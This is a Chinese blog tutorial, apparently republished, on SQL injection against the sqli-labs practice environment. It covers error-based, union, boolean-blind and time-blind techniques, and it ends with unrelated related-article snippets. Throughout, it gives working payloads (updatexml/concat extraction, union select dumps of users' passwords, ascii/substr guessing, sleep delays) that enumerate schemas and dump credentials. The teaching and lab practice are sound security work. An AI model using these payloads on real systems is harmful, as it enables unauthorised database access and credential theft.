SQL注入漏洞--报错/union/布尔盲注/时间盲注

之前介绍了数据库的基本操作,今天这篇文章就来实操SQL注入。

阅读本文前可以先看一下基本操作,有助于更好理解本文。。。

https://blog.csdn.net/weixin_60885144/article/details/138356410?spm=1001.2014.3001.5502

what

SQL---结构化查询语言---Structured Query Language :关系型数据库的标准语言

sql注入漏洞的产生需要满足以下两个条件

  • 参数用户可控:前端传给后端的参数内容是用户可以控制的

  • 参数被带入数据库查询:传入的参数被拼接到SQL语句中,且被带入数据库中查询

SQL注入漏洞本质:攻击者提交的正常参数能进入数据库中查询,攻击者就能在正常参数后增加新的参数,数据库反馈新的查询,得到关键信息从而实现攻击----这个攻击行为叫拖库攻击

注入与回显

其实SQL注入方法还有很多,也有很多划分,以上介绍的是从挖掘技巧上划分。

1 SQL语句的报错回显

报错注入

2 SQL注入出数据的回显

2.1 内容直接打印在页面上

------Union select  存在回显点  

回显点就是 SQL 查询正常结果显示在页面上位置,有回显点的 SQL 注入叫做回显点注入,正常回显点的回显内容就是数据库中字段的内容,如账号,密码等

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

2.2 内容显示差异

------布尔盲注  逻辑正确与否会显示不同信息

2.3 显示内容无差别

------时间盲注

闭合符对SQL注入的影响

在解释sql注入原理前介绍闭合符是很有必要的,通过闭合符对于payload(恶意代码)的构造极为重要。

闭合符就是可控参数(id index等)在SQL语句中左右两端的符号,反映了SQL语句所处的环境也决定了payload的构造方法。

常见的闭合符:单引号 双引号 括号 % 无符号等

根据符号的不同可以将SQL注入分为:

整形注入---无闭合符

字符型注入---参数两端多单引号 有时双引号 

SQL注入的本质就是打破原本传递数据区域的边界,插入逻辑代码!!!

搜索型注入---%代表任意数量的任意字符

In注入---用于指定多个可能的值进行匹配,他们通过()包围起来

查询数据库信息函数

  1. SCHEMA():与DATABASE()函数类似,用于获取当前数据库的名称。

  2. DATABASES():用于获取所有数据库的列表。

  3. VERSION():用于获取当前MySQL服务器的版本信息。

  4. USER():用于获取当前用户的用户名。

  5. CURRENT_USER():用于获取当前用户的用户名和主机名。

  6. CHARSET():用于获取当前数据库连接的字符集。

  7. COLLATION():用于获取当前数据库连接的字符排序规则。

  8. INFORMATION_SCHEMA:MySQL提供了一个名为INFORMATION_SCHEMA的数据库,其中包含了关于数据库、表、列等各种元数据信息的视图和表。你可以使用这些视图和表查询各种数据库信息,例如:

    INFORMATION_SCHEMA.TABLES:用于查询数据库中表的信息。;INFORMATION_SCHEMA.COLUMNS:用于查询表中列的信息。
  9. length():返回字符串的长度

    substr(str,pos,num) :截取指定位置指定长度的字符串

    mid(str,pos,num) :截取指定位置指定长度的字符串

    ascii() 查询ascii码中对应的值

    char() 查询字符对应的ascii值

SQL注入的检测与攻击

报错注入---less-5 

检测方法

在 SQL 注入的过程中,若引起SQL语法错误,数据库会抛出错误,网站的 Web 服务器开启了错误回显,因此攻击者就能特意带入错误参数来让网站反馈信息。

攻击方法

攻击者可以通过错误回显将目标数据显示在网页上,这需要搭配一些函数来输出


这里页面提示让我们输入数字当作参数id

?代表参数部分的开始 id是参数名称 1是参数值

跟他照做发现回显了信息,但是没有什么价值。 我们希望他能反馈的是sql语句的报错信息。于是我们就判断这个id参数的类型从而判断闭合符号,如果是字符型那么加个'肯定就显示报错信息。

这里可能不太理解为什么加入'就会报错 

这里给数据库的反馈是 selsect id from 表名 where id='1''

加进来的'被当作了参数闭合符,从而让原本的闭合符一个'没了作用导致语法错误

那么如何让这个被分开的'不会影响语法,那么就把他变为注释

这里我们用--+ (这里的➕在url中代表空格)

从‘-- '序列到行尾。请注意‘-- '(双破折号)注释风格要求第2个破折号后面至少跟一个空格符

这样做看似无用功 因为我们需要的信息还是没有显示,但是我们前面做的工作就是使得后续使用函数时不会出现 -----selsect id from 表名 where id='1 and 函数' 这种错误的语句。

此时是否能更好理解----

SQL注入的本质就是打破原本传递数据区域的边界,插入逻辑代码!!!

 http://192.168.243.133/sqli-labs-php7-master/Less-5/

?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+

---页面成功显示数据库信息为security

这里我们再介绍函数,

a:updatexml()---对xml文档的修改

updatexml(XML_document,XPath_string,new_value)

三个参数分别代表文档名称 文档路径 替换的新值

-----第一个参数最好为1,乱写不一定好使;第三个参数随便

路径里的concat(0x7e,database(),0x7e)0x4e是~的十六进制,第一个0x4e是为了打破路径格式来语法错误,第二个0x4e是为了显示信息时能有效分辨结束点,可省略。

concat()函数就是做实这个错误路径

b:extractvalue()---查询

extractvalue(XML_document,xpath_string)

当这两个函数在执行时,如果出现xml文档路径错误就会产生报错----我们的目的就是让文档路径错误然后显示错误信息,这里我们就能写入一些我们想得到的来以’错误‘的形式回显

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e ),1)--+

---显示数据库为security的表名,没有group_concat会提示Subquery returns more than 1 row即返回了多行数据,group_concat() 用于连接多行数据的值为一个字符串

and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e ),1)--+

这里得到了users数据表中得到三个字段

注:在语句注入时不要忘记附加上一次得到的数据库的信息,因为一个数据库服务器不只有一个数据库,同样可能不只有一个名为'users'的表

这里就能列举出第一个密码了--这里也是不允许一次显示多行数据

?id=1' and updatexml(1,concat(0x7e,(select password from security.users limit 0,1),0x7e ),1)--+

limit

注:使用 LIMIT 子句来限定 SELECT 语句返回的行的数量 

limit a,b ---a代表从从第a行开始节选,在a行基础上节选a+b行内容(a参数可选,且默认为0)

即limit 1=limit 0,1

union联合注入---less-1

what

在SQL注入中,使用联合查询还可以获取其他表的数据。每个SELECT语句的字段不必完全相同,但它们必须具有一致的列数(字段数)和对应的数据类型

这里我们判断出id这个参数依然是字符型,闭合符为单引号。

但是用错误注入的方法去请求数据库名称也能显示,按说如果按照错误注入的方法也能得出账号密码,但是本题都告诉我们了,这些显示的账号密码本质都是存储在数据库中的字段对于的值,所以就用这个场景来感受一下union联合注入!

检测方法

若正常的逻辑输入会回显字段内容就判断此处由SQL注入漏洞

order by [number]

order by是mysql中对查询数据进行排序的方法

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

使用 order by就能轻易发现select语句最大列数即字段数,这是union联合注入成功的关键前提

两图比较 由此确定,在执行sql语句的时候只select了3列

?id=-1'  union select 1,2,3--+ 

 这里为什么要把id设为-1 因为如果原本的语句正常执行了,在页面回显的时候我联合查询的东西就会回显不出来(本题就是还会显示id=1的内容),所以需要让第一个语句给他执行失败,才能清楚回显点的位置。

图中我们可以判断虽然执行sql语句的时候select了3列,但是只有两个字段内容回显在页面。

所以我们就可以在回显的字段内容改为我们想得到的信息

攻击方法

依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据

剩下内容与错误注入时的方法一样,不再介绍 

查询表名:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 

查询列名:?id=-1'  union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

查询数据?id=-1'  union select 1,username,password from security.users limit 1,2 --+

布尔盲注---less-8

检测方法

布尔型变量bool 布尔型变量的值只有 真 (true) 和假 (false)

通常用于无回显点,又不能基于报错来读取数据的盲注中。只能通过构造payload去探测,根据返回差异去推理。

若语句逻辑正确与否能回显不同内容,此处就存在SQL注入漏洞

 攻击方法

同理我们已经判断出参数id为字符型且闭合符'

1.猜测数据库长度

 id=1' and length(database())=8--+  ==== id=0' or length(database())=8--+

爆破数据库名称长度试试二分法结合><很快就能得到

 2.爆破数据库名称

所谓爆破名称也只能是一个个字母猜,上一步确定了8位意味着要重复八次

substr() 函数

返回字符串的一部分。-----substr(string,start,length)

可以用ascii码/字符结合二分法猜,效果都一样---都是慢慢慢

?id=0' or ascii(substr(database(),1,1))>100--+  true
?id=0' or ascii(substr(database(),1,1))>120--+  false
?id=0' or ascii(substr(database(),1,1))=115--+  true

----

?id=1' and substr(database(),1,1='s')--+

所以我们可以借助burp suit去暴力破解

 我们就一个个爆破吧,我这是载入清单,内容为字母大小写+数字(我们本身也不知道数据库名由什么构成,保险起见也可以加一些符号),发现s为数据库名称的第一个的正确字符,且不区分大小写。

虽然知道八位,但是也不能八位一起爆,要不然急速炸弹下来排列了十亿的可能性

3.猜测表的数量

?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

4.爆破表的名称

?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+ 

---在记录所有表名信息的表中,找数据库名称为‘security’的,且只返回一行,并且验证第一个字母是什么。  长度不爆了,慢慢试,超过长度自然任何情况都报错

5.猜测字段的数量

?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='emails')=2--+

 6.爆破字段的内容

?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),1,1)='i'--+ 

7.猜测字段内容的数量

?id=1' and (select count('email_id'/id) from security.emails)=8--+

8.爆破字段具体内容

 

id=1' and substr((select email_id from security.emails limit 0,1),1,1)='d'--+ 

其实我们也没必要去猜测数量/长度我们用burp suit可以把字段内容的显示的第n行/第n个字母作为payload进行爆破  (邮箱地址别忘了. @)

拼接---dumb@dhakkan.com

时间盲注---less-9

what

通过判定响应时间是否延长来证明SQL注入漏洞是否存在。与布尔SQL攻击获取信息过程一致,对于没有信息回显时的选择,时间盲注通过if函数来造成差异。

检测方法

?id=1' and sleep(3)--+  ----若网站延迟3s返回信息则证明存在此处存在SQL注入漏洞

这里不仅是验证是否存在注入点同时也判断参数id的闭合符

if (判别式,true,flase)

 这一关不仅没有回显,就连正确错误的语句都没办法在页面信息中区分,因为查询结果仅仅用于应用程序的内部处理逻辑,并不影响页面的输出内容。 所以之前的sql注入方法都不行,只能通过查询数据库的延迟时间长短来判断逻辑语句的正确性。

3s==3000ms 成功验证此处存在SQL注入漏洞

攻击方法

虽然页面没有任何信息变化,但是我们看左上角标签页在加载状态,且3s后就正常运行,说明数据库长度为8,执行了sleep(3)

---获取信息方法与布尔盲注一样,不再演示

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/318489.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

北京金融大数据有限公司X百望云签署战略合作协议 共同发布“金数数据要素流通云平台”

随着数据资产与数据要素相关政策密集出台&#xff0c;资本与实业企业均跃跃欲试。但因为没有龙头企业的方案引领和成熟的落地实践&#xff0c;市场呈谨慎观望态势&#xff0c;热度无处安放。 北京金融大数据有限公司&#xff08;以下简称“金融大数据公司”&#xff09;作为市…

excel怎么删除条件格式规则但保留格式?

这个问题的意思就是要将设置的条件格式&#xff0c;转换成单元格格式。除了使用VBA代码将格式转换外&#xff0c;还可以用excel自己的功能来完成这个任务。 一、将条件格式“留下来” 1.设置条件格式 选中数据&#xff0c;点击开始选项卡&#xff0c;设置条件格式&#xff0…

微服务保护和分布式事务(Sentinel、Seata)笔记

一、雪崩问题的解决的服务保护技术了解 二、Sentinel 2.1Sentinel入门 1.Sentinel的安装 &#xff08;1&#xff09;下载Sentinel的tar安装包先 &#xff08;2&#xff09;将jar包放在任意非中文、不包含特殊字符的目录下&#xff0c;重命名为 sentinel-dashboard.jar &…

STM32CubeMX+MDK通过I2S接口进行音频输入输出(全双工读写一个DMA回调)续-音质问题解决总结

一、前言 之前进行了STM32CubeMXMDK通过I2S接口进行音频输入输出&#xff08;全双工读写一个DMA回调&#xff09;的研究总结&#xff1a; https://juejin.cn/post/7339016190612881408#heading-34 后续音质问题解决了&#xff0c;目前测试下来48khz的双声道使用效果很好&…

Pytorch学习笔记——TensorBoard的初使用

1、TensorBoard介绍 TensorBoard是TensorFlow的可视化工具&#xff0c;但它也可以与PyTorch结合使用。TensorBoard提供了一个Web界面&#xff0c;可以展示你训练过程中的各种信息&#xff0c;如损失值、准确度、权重分布等&#xff0c;更好地帮助开发者理解和调试模型。 Tenso…

BJFUOJ-C++程序设计-实验3-继承和虚函数

A TableTennisPlayer 答案&#xff1a; #include<iostream> #include<cstring> using namespace std;class TableTennisPlayer{ private:string firstname;string lastname;bool hasTable;public:TableTennisPlayer(const string &, const string &, bool…

深入剖析Tomcat(五) 剖析Servlet容器并实现一个简易Context与Wrapper容器

上一章介绍了Tomcat的默认连接器&#xff0c;后续程序都会使用默认连接器。前面有讲过Catalina容器的两大块内容就是连接器与Servlet容器。不同于第二章的自定义丐版Servlet容器&#xff0c;这一章就来探讨下Catalina中的真正的Servlet容器究竟长啥样。 四种容器 在Catalina中…

实现优先队列——C++

目录 1.优先队列的类模板 2.仿函数的讲解 3.成员变量 4.构造函数 5。判空&#xff0c;返回size&#xff0c;返回队头 6.插入 7.删除 1.优先队列的类模板 我们先通过模板来进行初步了解 由上图可知&#xff0c;我们的模板里有三个参数&#xff0c;第一个参数自然就是你要存储的数…

读天才与算法:人脑与AI的数学思维笔记16_音乐图灵测试

1. 艾米 1.1. 人工智能作曲家 1.1.1. 分析机可能会生成任意复杂程度、精细程度的科学的音乐作品 1.1.1.1. 阿达洛夫莱斯 1.1.2. 巴赫的作品是大多数作曲家开始学习创作的起点&#xff0c;也是大多数计算机开始学习作曲的起点…

uniapp 短视频浏览组件(仿抖音、上滑下滑)组件 Ba-VideoSView

简介&#xff08;下载地址&#xff09; Ba-VideoSView 是一款uniapp短视频上划浏览组件&#xff0c;支持无限滑动加载&#xff0c;支持自定义界面&#xff08;功能遮罩&#xff09;,支持点播、直播。 支持无限滑动加载支持自定义界面&#xff08;遮罩&#xff09;支持监听上滑…

第 8 章 机器人平台设计(自学二刷笔记)

重要参考&#xff1a; 课程链接:https://www.bilibili.com/video/BV1Ci4y1L7ZZ 讲义链接:Introduction Autolabor-ROS机器人入门课程《ROS理论与实践》零基础教程 学习到当前阶段大家对ROS已经有一定的认知了&#xff0c;但是之前的内容更偏理论&#xff0c;尤其是介绍完第6…

KKView远程控制2.0版本发布,TeamViewer面临巨大挑战

KKView远程控制2.0版本发布&#xff0c;TeamViewer面临巨大挑战 近日&#xff0c;备受瞩目的远程控制软件KKView发布了其全新2.0版本&#xff0c;KKView以其独特的创新性和用户友好的设计&#xff0c;为远程办公、远程培训等领域提供了更加高效、便捷的解决方案。 KKView远程…

K8S 哲学 - deployment -- kubectl【create 、 rollout 、edit、scale、set】

kubectl create kubectl rollout kubectl edit kubectl set kubectl scale 1、创建与配置文件解析 2、deploy 滚动更新 &#xff1a;template 里面的内容改变触发滚动更新 编辑该 deploy 的 配置文件 &#xff0c;加入一个 label 不会触发滚动更新 改变 nginx镜…

分布式与一致性协议之Raft算法(一)

Raft算法 概述 Raft算法属于Multi-Paxos算法&#xff0c;它在兰伯特Multi-Paxos思想的基础上做了一些简化和限制&#xff0c;比如日志必须是连续的&#xff0c;只支持领导者(Leader)、跟随者(Follwer)和候选人(Candidate)3种状态。在理解和算法实现上&#xff0c;Raft算法相对…

Python语言零基础入门——文件

目录 一、文件的基本概念 1.文件 2.绝对路径与相对路径 3.打开文件的模式 二、文件的读取 三、文件的追加 四、文件的写入 五、with语句 六、csv文件 1.csv文件的读取 2.csv文件的写入 七、练习题&#xff1a;实现日记本 一、文件的基本概念 1.文件 文件是以计算…

浏览器安装路径位置的查看、指定网址快捷方式的创建

浏览器安装路径位置的查看、指定网址快捷方式的创建 浏览器安装路径位置的查看 法一、属性查看法 右键点击浏览器的桌面图标&#xff0c;选择“属性”&#xff0c;“快捷方式”页中的“目标”框中可见. 以Microsoft Edge浏览器为例&#xff0c;参见下图&#xff1a; 法二、地…

免费开源语音克隆-GPT-SoVITS-WebUI只需 5 秒的声音样本

语音克隆-GPT-SoVITS-WebUI 强大的少样本语音转换与语音合成Web用户界面。 功能&#xff1a; 零样本文本到语音&#xff08;TTS&#xff09;&#xff1a; 输入 5 秒的声音样本&#xff0c;即刻体验文本到语音转换。 少样本 TTS&#xff1a; 仅需 1 分钟的训练数据即可微调模型…

LabVIEW换智能仿真三相电能表研制

LabVIEW换智能仿真三相电能表研制 在当前电力工业飞速发展的背景下&#xff0c;确保电能计量的准确性与公正性变得尤为重要。本文提出了一种基于LabVIEW和单片机技术&#xff0c;具有灵活状态切换功能的智能仿真三相电能表&#xff0c;旨在通过技术创新提高电能计量人员的培训…

基于SpringBoot+Vue的旅游网站系统

初衷 在后台收到很多私信是咨询毕业设计怎么做的&#xff1f;有没有好的毕业设计参考?能感觉到现在的毕业生和当时的我有着同样的问题&#xff0c;但是当时的我没有被骗&#xff0c;因为现在很多人是被骗的&#xff0c;还没有出学校还是社会经验少&#xff0c;容易相信别人。…

项目管理-项目进度管理2/3

项目管理&#xff1a;每天进步一点点~ 活到老&#xff0c;学到老 ヾ(◍∇◍)&#xff89;&#xff9e; 何时学习都不晚&#xff0c;加油 项目进度管理&#xff1a;需掌握 ITTO, 搞懂计算图&#xff0c;问题和解决方案。 项目进度管理6个过程&#xff0c;包括&#xff08;口…